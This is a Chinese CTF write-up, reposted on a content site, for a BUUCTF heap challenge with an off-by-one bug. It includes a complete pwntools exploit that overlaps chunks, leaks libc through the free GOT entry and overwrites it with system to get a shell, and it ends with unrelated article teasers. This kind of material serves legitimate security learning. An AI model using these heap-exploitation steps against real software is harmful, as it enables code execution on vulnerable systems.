BUUCTF[堆][of_by_one]

堆中of_by_one

介紹:

  1. 嚴格來說 off-by-one 漏洞是一種特殊的溢出漏洞,off-by-one 指程序向緩沖區中寫入時,寫入的字節數超過了這個緩沖區本身所申請的字節數并且只越界了一個字節
  2. 溢出字節為可控制任意字節 :通過修改大小(size字段值)造成塊結構之間出現重疊,從而泄露其他塊數據,或是覆蓋其他塊數據。

例題:

題目:BUUCTF在線評測 (buuoj.cn)

  1. 先看一下create函數創建出來的heap結構:

    image-20240709153741797

  2. delete函數中將heap指針清0了,所以不能利用UAF:

    image-20240709154254757
  3. 但是在edit函數中,存在of_by_one漏洞,會多接受一個輸入,可以利用著來覆蓋下一個chunk的size大小,從而實現chunk的覆蓋:

    image-20240709154340482

利用:

  1. 首先我們申請的長度要恰好到下一個chunk的size字段,所以必須將下一個chunk的prev_size字段沾滿,不能留空隙,所以申請的大小必須為0x10的整數倍+8

    image-20240709154846223

    這種情況才能占滿(將下一個chunk的prev_size字段占滿,才能順利覆蓋到后面的size字段):

    image-20240709155150227

  2. 先申請兩個大小為0x18的heap:

    add(24,b'a')    #0
    add(24,b'b')    #1
    
  3. 再編輯chunk0,利用of_by_one漏洞,覆蓋掉chunk1的size字段,大小最少要為0x:

    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    
  4. 再釋放掉chunk1,此時就能得到一個0x40和一個0x10的fastbin:

    image-20240709155927573

  5. 此時再申請一個大小為0x30的chunk2,就會將fastbins[0x40]分配給我們(但是實際的大小只有0x18,但是寫入的大小就是0x30了),可以導致chunk之間的覆蓋(變向堆溢出)。但是如何填充數據泄漏libc地址呢?,需要使用到show函數,并且利用前面造成的堆溢出將content地址改為函數的got表地址(這里以free函數為例):

    image-20240709160525868

    add(0x30,b"A"*16 + p64(0)*+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2
    

    image-20240709161225369

    調用show函數輸出chunk2就能泄漏libc地址,再計算活得system的地址:

    printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))

    image-20240709161346767

  6. 最后利用edit(2),將free函數的got表中的數據修改為system的地址,即可完成對free函數的挾持,前面再第一次溢出在content處時填入的"/bin/sh"其地址就會作為free函數的參數(system(“/bin/sh”)):

    image-20240709162238290

    edit(1,p64(sys_addr))
    

    image-20240709161912317

  7. 最后free(0)即可拿到flag。EXP:

    from pwn import *
    from LibcSearcher import *
    # 設置系統架構, 打印調試信息
    # arch 可選 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')# p = remote("node5.buuoj.cn",25567)
    p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    def add(size,content):sla(b'Your choice :','1')sla(':',str(size))sla(':',content)def edit(idx, content):sla(':','2')sla('Index :',str(idx))# sla(':',str(len(content)))sa(b':',content)def printf(index):p.sendlineafter(b'Your choice :',b'3')p.sendlineafter(b'Index :',str(index).encode())def free(idx):sla(':','4')sla(':',str(idx))add(24,b'a')    #0
    add(24,b'b')    #1
    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    free(1)
    add(0x30,b"A"*8 + p64(0)*2+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))edit(1,p64(sys_addr))
    free(0)p.interactive()

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/42537.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/42537.shtml
英文地址,請注明出處:http://en.pswp.cn/web/42537.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

token無感刷新方法

1.這里推薦去看這個老師的視頻,我的方案都是根據他的視頻來的視頻地址 2.這邊使用的工具是axios import axios from axios const service axios.create({baseURL: ,headers: {Authorization: token 你自己的token,},timeout: 1000 * 60, })// 攔截響應 service.interceptors…

Spring AOP源碼篇四之 數據庫事務

了解了Spring AOP執行過程&#xff0c;再看Spring事務源碼其實非常簡單。 首先從簡單使用開始, 演示Spring事務使用過程 Xml配置&#xff1a; <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema…

【北京迅為】《i.MX8MM嵌入式Linux開發指南》-第一篇 嵌入式Linux入門篇-第十六章 Linux 第一個程序 HelloWorld

i.MX8MM處理器采用了先進的14LPCFinFET工藝&#xff0c;提供更快的速度和更高的電源效率;四核Cortex-A53&#xff0c;單核Cortex-M4&#xff0c;多達五個內核 &#xff0c;主頻高達1.8GHz&#xff0c;2G DDR4內存、8G EMMC存儲。千兆工業級以太網、MIPI-DSI、USB HOST、WIFI/BT…

S271系列RTU在旅游景區人流監控中的應用案例

S271系列RTU在旅游景區人流監控中的應用案例 隨著全球旅游業的迅猛發展&#xff0c;旅游景區的管理者越來越關注如何利用先進的技術手段提升游客體驗、優化管理效率以及確保安全。S271系列RTU作為一款先進的無線工業物聯網設備&#xff0c;在旅游景區的人流監控中展現出了其獨…

數據結構:順序表+鏈表

數據結構&#xff1a;順序表鏈表 一。順序表&#xff1a; 首先在了解順序表和鏈表之前&#xff0c;先了解一下線性表&#xff0c;**線性表&#xff08;linear list&#xff09;**是n個具有相同特征元素的有限序列 &#xff0c;在邏輯上是線性結構&#xff0c;也就是一條連續的…

自動化升級:Conda包依賴的智能更新策略

自動化升級&#xff1a;Conda包依賴的智能更新策略 引言 在科學研究和軟件開發中&#xff0c;依賴管理是確保項目順利進行的關鍵環節。Conda作為流行的包管理器&#xff0c;提供了強大的依賴更新功能&#xff0c;幫助用戶自動化和簡化依賴項的更新過程。本文將深入探討如何在…

WPF依賴附加屬性

依賴附加屬性的定義 基本過程&#xff1a;聲明、注冊、包裝 依賴附加屬性必須在依賴對象&#xff0c;附加屬性不一定&#xff0c;關注的是被附加的對象是否是依賴對象 快捷方式&#xff1a;propa tab 關鍵字&#xff1a;RegisterAttached // 方法封裝 public static int …

Unity3d C#實現基于UGUI ScrollRect的輪播圖效果功能(含源碼)

前言 輪播功能是一種常見的頁面組件&#xff0c;用于在頁面中顯示多張圖片/素材并自動或手動進行切換&#xff0c;以提高頁面的美觀度和用戶體驗。主要的功能是&#xff1a;自動/手動切換;平滑的切換效果;導航指示器等。可惜Unity的UGUI系統里沒有現成的實現該功能&#xff0c…

第五次作業(多表聯合查詢)

新增員工表emp和部門表dept create table dept (dept1 int ,dept_name varchar(11)) charsetutf8; create table emp (sid int ,name varchar(11),age int,worktime_start date,incoming int,dept2 int) charsetutf8; insert into dept values (101,財務), (102,銷售…

Shell學習——Shell echo命令

文章目錄 echo命令 echo命令 1.顯示普通字符串: echo "It is a test"這里的雙引號完全可以省略&#xff0c;以下命令與上面實例效果一致&#xff1a; echo It is a test2.顯示轉義字符 echo "\"It is a test\""結果將是: "It is a tes…

掌握MOJO命令行:參數解析的藝術

在軟件開發中&#xff0c;命令行接口&#xff08;CLI&#xff09;是一種與程序交互的強大方式&#xff0c;它允許用戶通過終端輸入指令和參數來控制程序的行為。對于MOJO語言&#xff0c;即使它是一個假想的編程語言&#xff0c;我們也可以設想它具備解析命令行參數的能力。本文…

初識C++【命名空間】【輸入輸出】【缺省參數】【函數重載】

前言 C是一種通用的編程語言&#xff0c;被廣泛用于開發各種應用程序&#xff0c;包括系統軟件、游戲、手機應用和高性能計算等。它是C語言的擴展&#xff0c;添加了許多新特性和功能&#xff0c;并支持面向對象編程。C可以在不同的平臺上編譯和運行&#xff0c;具有高效性、可…

開放式耳機哪個品牌比較好?2024最值得推薦的火爆機型!!

在這個快節奏的時代&#xff0c;我們都在尋找那些既能讓我們享受音樂&#xff0c;又能保持對外界感知的音頻設備。開放式耳機以其獨特的設計&#xff0c;滿足了這一需求&#xff0c;它們讓你在享受音樂的同時&#xff0c;還能聽到周圍環境的聲音&#xff0c;無論是安全出行還是…

華為、H3C、銳捷、思科四大設備廠商交換機配置命令總結合輯

號主&#xff1a;老楊丨11年資深網絡工程師&#xff0c;更多網工提升干貨&#xff0c;請關注公眾號&#xff1a;網絡工程師俱樂部 下午好&#xff0c;我的網工朋友。 一直以來&#xff0c;對于華為、H3C、銳捷、思科交換機的命令配置&#xff0c;不斷的有朋友留言&#xff0c;四…

OpenSNN推文:盛夏智慧之光:七月高校新聞聚焦

隨著夏日的炎炎熱浪逐漸升溫&#xff0c;七月的校園生活也如火如荼地展開。在這個充滿活力的季節里&#xff0c;各大高校不僅迎來了學術交流的高峰&#xff0c;也在科技創新、國際合作等方面取得了顯著成就。以下是本月內幾所知名高校的重要新聞動態&#xff0c;它們不僅展現了…

數據庫 視圖

-- 刪除舊的視圖&#xff08;如果存在&#xff09; DROP VIEW IF EXISTS view_employees_active; -- 創建新的視圖 CREATE VIEW view_employees_active AS SELECT id, name FROM employees WHERE status active; 注意事項 如果視圖不滿足更新條件&#xff08;如包含JOIN、…

譜瑞科技高速傳輸接口芯片選型應用

譜瑞科技股份有限公司為一專供多種普及顯示器以及個人計算機、消費性電子產品與顯示面板所使用之高速訊號傳輸接口標準之混和信號 IC 芯片之領導供貨商。譜瑞公司成立于 2005 年為一無自有晶圓廠之半導體公司&#xff0c;并于 2011 年股票在臺灣柜臺買賣中心正式掛牌交易(股票代…

深入淺出:Scikit-Learn基礎教程

引言 Scikit-Learn&#xff08;簡稱sklearn&#xff09;是Python中一個強大的機器學習庫&#xff0c;提供了豐富的工具和模塊&#xff0c;幫助我們輕松實現數據預處理、模型訓練、評估和預測。本文將通過一個簡單的教程&#xff0c;帶您快速入門Scikit-Learn&#xff0c;掌握其…

Greenplum(三)【分布式事務和兩階段提交協議】

1、事務實現原理和 WAL&#xff08;單機&#xff09; 屬性含義數據庫系統實現Atomic&#xff08;原子性&#xff09;事務中的操作要么全部正確執行&#xff0c;要么完全不執行&#xff08;要么成功、要么失敗&#xff09;Write Ahead Logging 預寫日志&#xff0c;分布式事務&…

C語言希爾排序詳解與實例

希爾排序&#xff08;Shell Sort&#xff09;&#xff0c;是由Donald Shell在1959年提出的一種排序算法。它是插入排序的一種高效改進版&#xff0c;通過引入“增量”概念&#xff0c;將原本的線性查找轉換為分段查找&#xff0c;從而顯著提升了排序效率。本文將深入探討希爾排…